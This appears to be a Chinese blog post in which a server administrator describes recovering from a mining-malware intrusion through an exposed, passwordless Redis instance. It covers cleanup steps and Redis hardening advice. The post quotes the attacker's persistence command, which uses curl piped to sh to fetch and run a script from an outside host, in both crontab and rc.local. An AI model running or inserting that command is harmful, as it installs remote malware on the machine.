由于被检测到对外攻击, 已阻断该服务器对其它服务器端口 (TCP:6379) 的访问, 阻断预计将在 2018-03-28 07:34:26 时间内结束, 请及时进行安全自查. 若有疑问, 请工单或电话联系阿里云售后. 发现这个提醒了, 基本上你的服务器已经成为挖矿肉鸡了.
最近上服务器, 发现服务器 redis 的备份文件路径变了, 一开始也没怎么在意, 后来发现一些服务老是挂掉. 我重启了次服务器, 好像恢复正常了. 过了一会, 一些关键服务又自动挂了, 我开始意识到我服务器可能被入侵变成肉鸡了. 这个网址就是罪魁祸首, cdn.namunil.com, 开机自启动从此网址自动下载脚本执行, 太坑了, 这家伙.
于是我看了下 crontab, 发现有个陌生的例行:
查看定时任务命令:
查看定时任务: vim /etc/crontab
列出所有的定时任务: crontab -l
删除所有用户定时任务: crontab -r
*/20 * * * * curl -fsSL http://cdn.namunil.com/ash.php | sh
应该就是它在搞事, 于是我把它删掉, 重启服务器, 惊奇地发现这个例行又出现了, 明明已经被我删掉了, 于是我看了下开机自动加载命令:
cat /etc/rc.d/rc.local
发现如下内容:
curl -fsSL http://cdn.namunil.com/ash.php | shexit()
于是我把它删掉, 继续重启服务器, 这次正常了. Linux 服务器自启动文件路径: etc/rc.local 这个每个人的有细微差别, 具体可以查看.
接着我继续排查其他被改动的问题, 发现博客可以正常读取 mysql 数据, 但是在 Linxu 直接命令行连接不上:
- [root@VM /root]# mysql -u root -p
- mysql: relocation error: mysql: symbol strmov, version libmysqlclient_16 not defined in file libmysqlclient.so.16 with link time reference
参考这个链接解决了
http://blog.51cto.com/ovcer/1620051
接着发现 phpmyadmin 还是连接不上, 账号密码确认没输错, 但是就是登录不上气, 也没报错, 当时就一脸懵逼了, 后来想上博客后台看下数据, 发现验证码老时提示输入错误(明明没输错, 认真脸).
接着打印日志排查问题的时候, 发现验证码根本就没写进到 session 里面去, 突然想起之前在 php.ini 里面好像改过 php session 文件的存储路径, 于是看了下
- [root@VM /root]#php -i | grep session.save_path
- session.save_path => /tmp/phpsession/ => /tmp/phpsession/
看了下 / tmp 目录下并没有 phpsession 文件夹了, 应该是被黑客清掉了, 于是我重新创建了 phpsession 文件夹, 并把权限给了 www, 接着试了下, 都恢复正常了.
恢复正常后, 我在想是什么引起服务器被入侵的, 想了下, 最近好像只改动过 redis, 会不会是 redis 导致的呢?
我百度了下 -fsSL
和我遇到的情况很类似, 发现他也是 redis 引起的, 后来仔细想想, 上次测试 redis 远程访问, 开启后忘记关闭了, 也没设置账密, 结果就被扫描入侵了.
修复 redis 的后门,
配置 bind 选项, 限定可以连接 Redis 服务器的 IP, 并修改 redis 的默认端口 6379.
配置 AUTH, 设置密码, 密码会以明文方式保存在 redis 配置文件中.
配置 rename-command CONFIG "RENAME_CONFIG", 这样即使存在未授权访问, 也能够给攻击者使用 config 指令加大难度
好消息是 Redis 作者表示将会开发 "real user", 区分普通用户和 admin 权限, 普通用户将会被禁止运行某些命令, 如 conf
参考链接里面的做法, 我发开打开 ~/.ssh/authorized_keys
果然发现里面有个未知的 redis 账号, 于是马上把它删除了.
来源: http://server.51cto.com/sOS-582292.htm